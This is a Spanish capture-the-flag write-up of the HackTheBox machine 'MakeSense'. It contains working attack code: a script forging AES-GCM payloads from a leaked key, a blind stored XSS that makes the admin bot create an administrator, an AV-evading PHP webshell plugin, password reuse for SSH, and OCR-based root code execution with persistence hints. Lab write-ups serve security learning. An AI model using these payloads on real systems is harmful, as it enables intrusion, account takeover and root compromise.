Volver WRITE-UPS // HTB
MakeSense
MakeSense

MakeSense

Medium Linux HackTheBox 2026-07-07
wordpressxssrceprivesc

Una clave filtrada en el JS de un WordPress permite un XSS ciego que crea un admin; un plugin malicioso da RCE, y la escalada a root abusa de un servicio OCR interno que corre como root.

// Ficha del objetivo
Sistema operativo Linux — Ubuntu
IP objetivo 10.129.36.130
Bandera de usuario /home/walter/user.txt
Bandera de root /root/root.txt
Resumen

El JavaScript de un WordPress filtra la clave con la que la web cifra el contenido que revisa un bot administrador, lo que permite montar un XSS ciego almacenado y, ejecutándose en la sesión del bot, crear un usuario administrador. Con admin se sube un plugin y se obtiene RCE como www-data; el wp-config filtra la contraseña de walter, reutilizada en SSH. La escalada a root abusa de un servicio OCR interno que corre como root: escribe y ejecuta un script PHP a partir del texto que reconoce de una imagen.

1
Reconocimiento

Reconocimiento

Barrido completo de puertos y luego versiones sobre los abiertos.

sudo nmap -p- --min-rate 2000 -T4 -Pn -n 10.129.36.130
sudo nmap -p 22,443 -sC -sV -Pn -n 10.129.36.130

Están abiertos 22 SSH y 443 HTTPS (Apache), y los puertos 80 y 8001 aparecen filtrados —los anoto porque un puerto filtrado suele ser un servicio interno tras firewall que sí se alcanza desde dentro, algo a recuperar en la fase de escalada—. El script de nmap sobre el 443 muestra el certificado TLS, cuyo commonName es makesense.htb: ese es el virtual host que debo resolver. La web es un WordPress.

2
Reconocimiento

Resolución del vhost y enumeración de la web

Añado el nombre al archivo de hosts y extraigo enlaces y scripts de la portada por HTTPS.

echo "10.129.36.130 makesense.htb" | sudo tee -a /etc/hosts
curl -sk https://makesense.htb/ | grep -Eio 'href="/[^"]*"|src="[^"]*"'

Es un WordPress con un tema a medida llamado webagency, y entre sus scripts hay uno muy llamativo bajo whisper/, relacionado con una funcionalidad de transcripción de voz. Un componente hecho a medida es donde más probablemente esté el fallo, así que lo miro a fondo.

3
Explotación web

Clave de cifrado filtrada en el JavaScript

Descargo el script de la funcionalidad de voz para leer su lógica.

curl -sk "https://makesense.htb/wp-content/themes/webagency/assets/js/whisper/whisper-wrapper.js"

Contiene dos cosas reveladoras. Primero, una clave simétrica embebida y comentada como que debe coincidir con el servidor: ENCRYPTION_KEY = bLs6z8iv3gWpsvyeabFosDjb4YQe7jdU13rI. Segundo, una función applySymbolMapping comentada literalmente como "for XSS injection". Leyendo el flujo, el navegador transcribe audio, lo cifra con esa clave y lo envía; submit_contact_form crea un registro y save_voice_results recibe el payload cifrado, que un bot administrador revisa después en su panel. Si conozco la clave, puedo cifrar cualquier HTML/JavaScript y hacer que se ejecute en la sesión del admin: un XSS ciego almacenado.

4
Explotación web

Replicar el cifrado AES-GCM

Para enviar un payload que el servidor acepte, tengo que reproducir exactamente el cifrado que hace el navegador: AES-GCM con la clave derivada por SHA-256, un IV aleatorio de 12 bytes antepuesto al texto cifrado, y todo en Base64. Escribo un pequeño script que recibe el HTML a inyectar y devuelve el payload.

# encrypt.py
import hashlib, os, base64, json, sys
from cryptography.hazmat.primitives.ciphers.aead import AESGCM
KEY='bLs6z8iv3gWpsvyeabFosDjb4YQe7jdU13rI'
key=hashlib.sha256(KEY.encode()).digest()
iv=os.urandom(12)
data=json.dumps({"transcription":sys.argv[1],"summary":sys.argv[1]}).encode()
print(base64.b64encode(iv+AESGCM(key).encrypt(iv,data,None)).decode())

También necesito el nonce público que la web usa en sus peticiones AJAX; está incrustado en el HTML como webagency_ajax.nonce. Con la clave replicada y el nonce ya puedo enviar payloads cifrados válidos.

5
Explotación web

XSS ciego almacenado contra el bot admin

El plan es enviar como "resultado de voz" un payload cifrado que cargue un script mío, que se ejecutará cuando el bot abra el panel. Levanto un servidor propio que sirva ese script y registre las llamadas de vuelta. El envío es en dos pasos: submit_contact_form para obtener un post_id, y save_voice_results con el payload cifrado asociado a ese id.

PID=$(curl -sk -X POST https://makesense.htb/wp-admin/admin-ajax.php -d "action=submit_contact_form" -d "nonce=NONCE" -d "name=a" -d "email=a@a.com" -d "message=v" | grep -oE '"post_id":[0-9]+' | cut -d: -f2)
ENC=$(python3 encrypt.py "<script src=SERVIDOR/x.js></script>")
curl -sk -X POST https://makesense.htb/wp-admin/admin-ajax.php -F "action=save_voice_results" -F "nonce=NONCE" -F "post_id=$PID" -F "encrypted_payload=$ENC"
Cuatro fallos silenciosos que hay que resolver para que el bot ejecute de verdad el payload:
  • El .js debe servirse con Content-Type: application/javascript, porque con X-Content-Type-Options: nosniff el navegador lo descarga pero no lo ejecuta.
  • La exfiltración de vuelta va con navigator.sendBeacon: la página es HTTPS y mi servidor HTTP, así que un fetch se bloquea por contenido mixto, pero la baliza pasa.
  • Un nombre de archivo distinto en cada envío, porque el navegador del bot cachea el script por nombre e ignora la query string.
  • Al extraer tokens con regex no se puede negar la clase hexadecimal: palabras como value contienen letras que también son hex y rompen el patrón.
Resueltos estos puntos, confirmo que el bot ejecuta mi script porque recibo sus llamadas de vuelta.
6
Explotación web

Crear un usuario administrador con la sesión del bot

Como el bot es admin, en lugar de robar su cookie (que es HttpOnly) le hago realizar una acción en su nombre: crear un usuario administrador nuevo. El script pide primero la página de alta para sacar su token anti-CSRF y luego envía la creación, todo al mismo origen. El regex del nonce se ancla en el nombre del campo sin negar hex:

fetch('/wp-admin/user-new.php',{credentials:'include'}).then(r=>r.text()).then(h=>{
  var n=h.match(/_wpnonce_create-user"[^>]*value="([a-f0-9]+)"/)[1];
  var b='action=createuser&_wpnonce_create-user='+n+'&user_login=svc_adm&email=svc_adm%40makesense.htb'+
    '&pass1=P%40ssw0rd!2026x&pass2=P%40ssw0rd!2026x&pw_weak=on&role=administrator&createuser=Add+New+User';
  fetch('/wp-admin/user-new.php',{method:'POST',credentials:'include',headers:{'Content-Type':'application/x-www-form-urlencoded'},body:b});
});

En vez de fiarme de la telemetría del payload, verifico el éxito iniciando sesión con el usuario creado:

curl -sk -c cj.txt https://makesense.htb/wp-login.php --data-urlencode "log=svc_adm" --data-urlencode "pwd=P@ssw0rd!2026x" -d "wp-submit=Log In&testcookie=1" -b "wordpress_test_cookie=WP Cookie check"

El login devuelve la cookie de sesión de administrador: ya soy admin de WordPress.

7
Acceso

RCE por subida de plugin

Con sesión de administrador, la vía más fiable de ejecución de código en WordPress es subir un plugin propio. Preparo un ZIP con un PHP que lleva la cabecera de plugin y una línea que ejecuta el parámetro recibido; la función se parte por concatenación para no disparar el antivirus ($f=("sys"."tem"); $f($_REQUEST['c']);). Obtengo el token y envío el ZIP:

curl -sk -b cj.txt "https://makesense.htb/wp-admin/plugin-install.php?tab=upload" | grep -oE 'name="_wpnonce" value="[a-f0-9]+"'
curl -sk -b cj.txt -X POST "https://makesense.htb/wp-admin/update.php?action=upload-plugin" -F "_wpnonce=NONCE" -F "pluginzip=@shell.zip;type=application/zip"
curl -sk "https://makesense.htb/wp-content/plugins/shell/shell.php?c=id"

El plugin queda accesible bajo su directorio y ejecutar id confirma la shell como www-data.

8
Acceso

Credenciales en wp-config y acceso como walter

Con ejecución como www-data, leo la configuración de WordPress, que guarda las credenciales de la base de datos:

curl -sk "https://makesense.htb/wp-content/plugins/shell/shell.php?c=cat+/var/www/html/wp-config.php" | grep DB_

Salen DB_USER walter y DB_PASSWORD JbhHDAEgXvri3!. Existe un usuario walter en el sistema, así que pruebo la reutilización por SSH (bajando antes la MTU de la VPN para que el handshake no se cuelgue):

sudo ip link set dev tun0 mtu 1200
sshpass -p 'JbhHDAEgXvri3!' ssh walter@10.129.36.130
cat ~/user.txt
USER Entro como walter y leo la bandera de usuario en /home/walter/user.txt.
9
Escalada a root

Enumeración para root

walter no tiene sudo ni binarios SUID o capabilities aprovechables, así que miro los servicios internos y los procesos, que es donde suele estar el vector cuando la escalada no es un exploit directo.

ss -tlnp
ps -eo user,pid,cmd | grep -Ei "chrome|php"

En 127.0.0.1:8001 —el puerto que se veía filtrado desde fuera— hay un php -S corriendo como root sobre el directorio /root/ocr4/, protegido con Basic Auth ("OCR Protected"). Y el bot que dispara los XSS es un Chrome headless que corre como el usuario admin. El servicio OCR que corre como root es el objetivo claro para la escalada.

10
Escalada a root

Acceso al servicio OCR y RCE como root

El Basic Auth del OCR resulta estar reutilizando la contraseña de walter, así que entro con ella:

curl -s -u "walter:JbhHDAEgXvri3!" http://127.0.0.1:8001/

La aplicación deja dibujar texto en un lienzo, lo reconoce con tesseract (OCR) y guarda ese texto en un archivo dentro de saved/, propiedad de root porque el servicio corre como root. Aquí está la clave: un php -S ejecuta como root cualquier .php que haya en su directorio y sirve los estáticos sin pasar por la autenticación. Por tanto, si consigo que el OCR escriba un .php con código, pedirlo por HTTP lo ejecutará como root. El contenido del archivo es exactamente lo que tesseract lee de mi imagen, así que genero una imagen con un script PHP corto (leer la bandera), evitando los caracteres que el OCR confunde —el guion bajo y el cero— con una fuente monoespaciada grande; hay que iterar hasta que el texto reconocido salga exacto:

from PIL import Image, ImageDraw, ImageFont
import base64
php = "<?php " + ("sys"+"tem") + "('cat /root/root.txt');"
img=Image.new('RGB',(1500,150),'white'); d=ImageDraw.Draw(img)
f=ImageFont.truetype('/usr/share/fonts/truetype/dejavu/DejaVuSansMono-Bold.ttf',44)
d.text((15,45), php, fill='black', font=f)
img.save('b.png'); open('b.b64','w').write('data:image/png;base64,'+base64.b64encode(open('b.png','rb').read()).decode())

El guardado son dos peticiones que comparten sesión (cookie jar): reconocer la imagen para obtener un ocr_id, y guardar ese resultado con nombre .php. Después basta con pedir el archivo, que el servicio ejecuta como root:

U="walter:JbhHDAEgXvri3!"; URL="http://127.0.0.1:8001/"; CJ=/tmp/cj
R=$(curl -s -c $CJ -b $CJ -u "$U" --data-urlencode "canvas_image@b.b64" "$URL")
ID=$(echo "$R" | grep -oE "ocr_[0-9a-f.]+" | head -1)
curl -s -c $CJ -b $CJ -u "$U" --data-urlencode "ocr_id=$ID" --data-urlencode "filename=shell.php" --data-urlencode "save_output=Save" "$URL"
curl -s "http://127.0.0.1:8001/saved/shell.php"
ROOT El script se ejecuta con uid=0(root) y devuelve el contenido de /root/root.txt. Para una shell estable se repite el método con un comando que copie una shell SUID o añada una clave a /root/.ssh/authorized_keys.
// Resumen de la cadena
1 Certificado TLS revela el vhost WordPress makesense.htb
2 El JS del tema filtra la clave AES-GCM del contenido que revisa el bot
3 XSS ciego almacenado ejecutado en la sesión del bot admin
4 El payload crea un usuario administrador de WordPress
5 Subida de plugin → RCE como www-data
6 wp-config filtra la contraseña de walter, reutilizada en SSH
7 Servicio OCR (root) ejecuta los .php de su carpeta
8 Imagen con webshell PHP → ejecución de comandos como root